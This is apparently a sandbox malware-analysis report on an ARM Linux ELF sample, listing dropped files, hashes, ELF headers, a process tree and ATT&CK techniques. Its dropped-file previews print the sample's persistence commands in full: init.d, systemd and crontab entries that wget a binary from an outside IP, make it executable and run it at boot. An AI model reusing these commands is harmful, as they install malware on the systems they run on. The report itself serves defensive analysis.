MD5:	E3BD05E519AE4C55DEE559787A9BD288
SHA1:	17A0A755C7CAA7B5761FFCF460A10D647080A25D
SHA-256:	874AADE8781ED56668F60DA88D91B6816F90601CF9018FF277D0A4AD599B4C59
SHA-512:	12A6C4026C4F0AFFD5653BAB2C2CE542F40CBD5588D4B41806C010E080FD2E14083D63263E2E6959BC96948C787D800E16DE7107298E929BF6233A69917FACE8
Malicious:	true
Joe Sandbox View:	Filename: 5.elf, Detection: malicious, Browse Filename: 5.elf, Detection: malicious, Browse
Reputation:	low
Preview:	#!/bin/bash.### BEGIN INIT INFO.# Provides: hello.# Required-Start: $network $local_fs.# Required-Stop: $network $local_fs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: hi :).# Description: hello :).### END INIT INFO..case "$1" in. start).rm -rf /tmp/5; wget http://103.136.41.100/5 -O /tmp/5; chmod 777 /tmp/5; /tmp/5 \|C 2 R -1157128192..p4 > /dev/null 2>&1;" ;;. stop). exit 0. ;;. restart). $0 stop. $0 start. ;;. *). echo "Usage: $0 {start\|stop\|restart}". exit 1. ;;.esac..exit 0.

/etc/systemd/system/hello.service

Download File

Process:	/tmp/5.elf
File Type:	troff or preprocessor input, ASCII text
Category:	dropped
Size (bytes):	308
Entropy (8bit):	5.278306884358087
Encrypted:	false
SSDEEP:	6:z8KbX9RZAMGCk4vEuIACLm+fOAkjF5CowzzQe1IEXwsCBLQmWA4Rv:zb9RZADJiIE+m7qowXQeCLLHWrv
MD5:	A76DB7EEB3C78A63FE61B25A0214EA41
SHA1:	8F911953BAA1C03AAC7607AC3E5E5528B0249791
SHA-256:	2148F0C20C47C19BCBA50FD9CB4F843FF162DF34857FB8EC537F3063BB95D756
SHA-512:	5D1E0E85FC3F6EB6C90D0FD608058B66A71CCB484B20E5E340C330A7B6F4B69E12460032555B06B643FA56700571D9821DF0F5A8C9F4F17726598C3795A7AAA8
Malicious:	false
Reputation:	low
Preview:	[Unit].Description=hi.After=network.target..[Service].RemainAfterExit=true.TimeoutSec=30s.Restart=no.ExecStart=/bin/bash -c "sleep 10; rm -rf /tmp/5; wget http://103.136.41.100/5 -O /tmp/5; chmod 777 /tmp/5; /tmp/5 \|C 2 R -1157128192..p1 > /dev/null 2>&1;".Type=forking..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

/tmp/crontab.tmp

Download File

Process:	/tmp/5.elf
File Type:	troff or preprocessor input, ASCII text
Category:	dropped
Size (bytes):	129
Entropy (8bit):	4.778395374428636
Encrypted:	false
SSDEEP:	3:SH3YFKKLojeMPHRCQyqwu0UzSGuVqBgQZm31IUU0XzT9Fw2sePn:SH3okjF5CowzzQe1IEX9W5Cn
MD5:	45B23162C5113B292A518DACF81A56E1
SHA1:	4E11A8C3105B4B3ED71D308E780D956BD0136F48
SHA-256:	FAA9C2DBBE3B6EADB68C5E226783C063A67384B6513C0DC97BBEF210ED923EF2
SHA-512:	04071D542AA91A7ED22F16AA54BD04CBF5D2A5211708F0B00043EE7697E7C9E1C148E42CCA25ED64098920443AEC254A41E42AC9D22A9775C483CD419C658B60
Malicious:	true
Reputation:	low
Preview:	@rebootrm -rf /tmp/5; wget http://103.136.41.100/5 -O /tmp/5; chmod 777 /tmp/5; /tmp/5 \|C 2 R -1157128192..p2 > /dev/null 2>&1;".

/tmp/qemu-open.2WtFN5 (deleted)

Download File

Process:	/tmp/5.elf
File Type:	zlib compressed data
Category:	dropped
Size (bytes):	257
Entropy (8bit):	3.3648001936565826
Encrypted:	false
SSDEEP:	6:GYgDFFJXM/VUT4DFF//I0Y/VjmsVot/VOArB/VF:+lXNcUk/
MD5:	6B9F7996339AB20026194A6AE71D8725
SHA1:	74C098B02EACDCF87B217062EFEFF4D28B8F7048
SHA-256:	B204237BE41D923C467B3472ADE8D022677BE43B76DD2822CD7C4473F90B5995
SHA-512:	22BDF19C13A1627453B3E66D2EA8EDFB4F57BC3916C899240ED439C40CEFD36DCB2F0FEF8689B33216BA1AEAC5D29F2F94E922B57A8776F626763D4E794E538A
Malicious:	false
Reputation:	low
Preview:	8000-1e000 r-xp 00000000 fd:00 531606 /tmp/5.elf.26000-27000 rw-p 00016000 fd:00 531606 /tmp/5.elf.27000-2d000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack]..

/var/spool/cron/crontabs/tmp.hsDAfy

Download File

Process:	/usr/bin/crontab
File Type:	troff or preprocessor input, ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.240253255847118
Encrypted:	false
SSDEEP:	6:SUrpqoqQjEOP1K8XAEuLuwJOBFQ3pVdzV4iGMQ5UYLtCFt3HYokjF5CowzzQe1IK:8Qj7QEuLut83pbV4UeHLUHYzqowXQeCK
MD5:	8FA46262C5F0434E4396669D91B346EB
SHA1:	D4A4743BAC4FA407764299723FD0A9BFA34FC0F2
SHA-256:	5115917A603A0D51286D78E906D0FF8C55DA38A8C9B58DEB2F3AD27E3552A0E2
SHA-512:	9889BE6748F8804C1D62E0DEC074F57B8B177E729207495A1F17B59DA2D68BDC7502ED6647D9B672973FAD2CF54EDE078B2CD4AC053B6539068DFE74DD6893F5
Malicious:	true
Preview:	# DO NOT EDIT THIS FILE - edit the master and reinstall..# (/tmp/crontab.tmp installed on Sun Jan 12 08:40:37 2025).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).@rebootrm -rf /tmp/5; wget http://103.136.41.100/5 -O /tmp/5; chmod 777 /tmp/5; /tmp/5 \|C 2 R -1157128192..p2 > /dev/null 2>&1;".

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.0999097786129015
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	5.elf
File size:	92'052 bytes
MD5:	acf8c6201a22aa0c7c0751252ab9ae39
SHA1:	6de61f4a111b08628b671480a7dc59cfbeeaed4b
SHA256:	2310571a157978b46838410517b66b6a45f8ab5c2846fc15ac9c93168ca80dd9
SHA512:	e540bd63e1fb7ed70db4d4554cb2d1f171b3669f4d35e409b267eceb206a9eff7d522bc24187b5297c3c1d4c3a14e4e3a68bc2d841a017ee0eda8df3353760fb
SSDEEP:	1536:bGnn24oWLbTfrAz4sGpimrEW0sPcvWye+TM6ipjA4rNGNkxnlgIZgTeg:L1YM+MQD0OE4rNGNACJT
TLSH:	75930B86F9816A51C6C146B7BD2F019E33066BA8E2DE7313DD241B64778B51F0F27A0B
File Content Preview:	.ELF..............(.....T...4....e......4. ...(......................\...\...............`...`...`..................Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../..e.......`....-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	91532
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x142c4	0x0	0x6	AX	16
.fini	PROGBITS	0x1c374	0x14374	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x1c384	0x14384	0x1938	0x0	0x2	A	4
.eh_frame	PROGBITS	0x26000	0x16000	0x4	0x0	0x3	WA	4
.init_array	INIT_ARRAY	0x26004	0x16004	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x26008	0x16008	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x26010	0x16010	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x26084	0x16084	0x490	0x0	0x3	WA	4
.bss	NOBITS	0x26514	0x16514	0x29e0	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x16514	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x16524	0x67	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x15cbc	0x15cbc	6.1268	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x16000	0x26000	0x26000	0x514	0x2ef4	6.0286	0x6	RW	0x8000	.eh_frame .init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.

System Behavior

Analysis Process: 5.elf PID: 5831, Parent PID: 5755

General

Start time (UTC):	14:40:30
Start date (UTC):	12/01/2025
Path:	/tmp/5.elf
Arguments:	/tmp/5.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: 5.elf PID: 5842, Parent PID: 5831

General

Start time (UTC):	14:40:37
Start date (UTC):	12/01/2025
Path:	/tmp/5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5842, Parent PID: 5831

General

Start time (UTC):	14:40:37
Start date (UTC):	12/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5848, Parent PID: 5842

General

Start time (UTC):	14:40:37
Start date (UTC):	12/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5848, Parent PID: 5842

General

Start time (UTC):	14:40:37
Start date (UTC):	12/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: 5.elf PID: 5852, Parent PID: 5831

General

Start time (UTC):	14:40:37
Start date (UTC):	12/01/2025
Path:	/tmp/5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5852, Parent PID: 5831

General

Start time (UTC):	14:40:37
Start date (UTC):	12/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl start hello.service > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5857, Parent PID: 5852

General

Start time (UTC):	14:40:37
Start date (UTC):	12/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5857, Parent PID: 5852

General

Start time (UTC):	14:40:37
Start date (UTC):	12/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl start hello.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: 5.elf PID: 5858, Parent PID: 5831

General

Start time (UTC):	14:40:37
Start date (UTC):	12/01/2025
Path:	/tmp/5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5858, Parent PID: 5831

General

Start time (UTC):	14:40:37
Start date (UTC):	12/01/2025
Path:	/bin/sh
Arguments:	sh -c "crontab /tmp/crontab.tmp > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5863, Parent PID: 5858

General

Start time (UTC):	14:40:37
Start date (UTC):	12/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: crontab PID: 5863, Parent PID: 5858

General

Start time (UTC):	14:40:37
Start date (UTC):	12/01/2025
Path:	/usr/bin/crontab
Arguments:	crontab /tmp/crontab.tmp
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

Chronological Activities

Analysis Process: 5.elf PID: 5864, Parent PID: 5831

General

Start time (UTC):	14:40:38
Start date (UTC):	12/01/2025
Path:	/tmp/5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 5864, Parent PID: 5831

General

Start time (UTC):	14:40:38
Start date (UTC):	12/01/2025
Path:	/bin/sh
Arguments:	sh -c "/etc/init.d/hello > /dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5869, Parent PID: 5864

General

Start time (UTC):	14:40:38
Start date (UTC):	12/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: 5.elf PID: 5872, Parent PID: 5831

General

Start time (UTC):	14:40:38
Start date (UTC):	12/01/2025
Path:	/tmp/5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: 5.elf PID: 5874, Parent PID: 5872

General

Start time (UTC):	14:40:38
Start date (UTC):	12/01/2025
Path:	/tmp/5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: 5.elf PID: 5876, Parent PID: 5874

General

Start time (UTC):	14:40:38
Start date (UTC):	12/01/2025
Path:	/tmp/5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: 5.elf PID: 5881, Parent PID: 5874

General

Start time (UTC):	14:40:38
Start date (UTC):	12/01/2025
Path:	/tmp/5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: 5.elf PID: 5883, Parent PID: 5874

General

Start time (UTC):	14:40:38
Start date (UTC):	12/01/2025
Path:	/tmp/5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: 5.elf PID: 5884, Parent PID: 5874

General

Start time (UTC):	14:40:38
Start date (UTC):	12/01/2025
Path:	/tmp/5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: 5.elf PID: 5919, Parent PID: 5874

General

Start time (UTC):	14:41:11
Start date (UTC):	12/01/2025
Path:	/tmp/5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: 5.elf PID: 5921, Parent PID: 5919

General

Start time (UTC):	14:41:11
Start date (UTC):	12/01/2025
Path:	/tmp/5.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: xfce4-panel PID: 5833, Parent PID: 3235

General

Start time (UTC):	14:40:32
Start date (UTC):	12/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Chronological Activities

Analysis Process: wrapper-2.0 PID: 5833, Parent PID: 3235

General

Start time (UTC):	14:40:32
Start date (UTC):	12/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Chronological Activities

Analysis Process: xfce4-panel PID: 5834, Parent PID: 3235

General

Start time (UTC):	14:40:33
Start date (UTC):	12/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Chronological Activities

Analysis Process: wrapper-2.0 PID: 5834, Parent PID: 3235

General

Start time (UTC):	14:40:33
Start date (UTC):	12/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Chronological Activities

Analysis Process: xfce4-panel PID: 5835, Parent PID: 3235

General

Start time (UTC):	14:40:33
Start date (UTC):	12/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Chronological Activities

Analysis Process: wrapper-2.0 PID: 5835, Parent PID: 3235

General

Start time (UTC):	14:40:33
Start date (UTC):	12/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Chronological Activities

Analysis Process: xfce4-panel PID: 5836, Parent PID: 3235

General

Start time (UTC):	14:40:33
Start date (UTC):	12/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Chronological Activities

Analysis Process: wrapper-2.0 PID: 5836, Parent PID: 3235

General

Start time (UTC):	14:40:33
Start date (UTC):	12/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Chronological Activities

Analysis Process: xfce4-panel PID: 5837, Parent PID: 3235

General

Start time (UTC):	14:40:33
Start date (UTC):	12/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Chronological Activities

Analysis Process: wrapper-2.0 PID: 5837, Parent PID: 3235

General

Start time (UTC):	14:40:33
Start date (UTC):	12/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Chronological Activities

Analysis Process: xfce4-panel PID: 5838, Parent PID: 3235

General

Start time (UTC):	14:40:33
Start date (UTC):	12/01/2025
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Chronological Activities

Analysis Process: wrapper-2.0 PID: 5838, Parent PID: 3235

General

Start time (UTC):	14:40:33
Start date (UTC):	12/01/2025
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Chronological Activities

Analysis Process: systemd PID: 5850, Parent PID: 5849

General

Start time (UTC):	14:40:37
Start date (UTC):	12/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5850, Parent PID: 5849

General

Start time (UTC):	14:40:37
Start date (UTC):	12/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 5.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/init.d/hello

/etc/systemd/system/hello.service

/memfd:snapd-env-generator (deleted)

/tmp/crontab.tmp

/tmp/qemu-open.2WtFN5 (deleted)

/var/spool/cron/crontabs/tmp.hsDAfy

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

System Behavior

Analysis Process: 5.elf PID: 5831, Parent PID: 5755

General

Chronological Activities

Analysis Process: 5.elf PID: 5842, Parent PID: 5831

General

Chronological Activities

Analysis Process: sh PID: 5842, Parent PID: 5831

General

Chronological Activities

Analysis Process: sh PID: 5848, Parent PID: 5842

General

Chronological Activities

Analysis Process: systemctl PID: 5848, Parent PID: 5842

General

Chronological Activities

Analysis Process: 5.elf PID: 5852, Parent PID: 5831

General

Chronological Activities

Analysis Process: sh PID: 5852, Parent PID: 5831

Linux Analysis Report
5.elf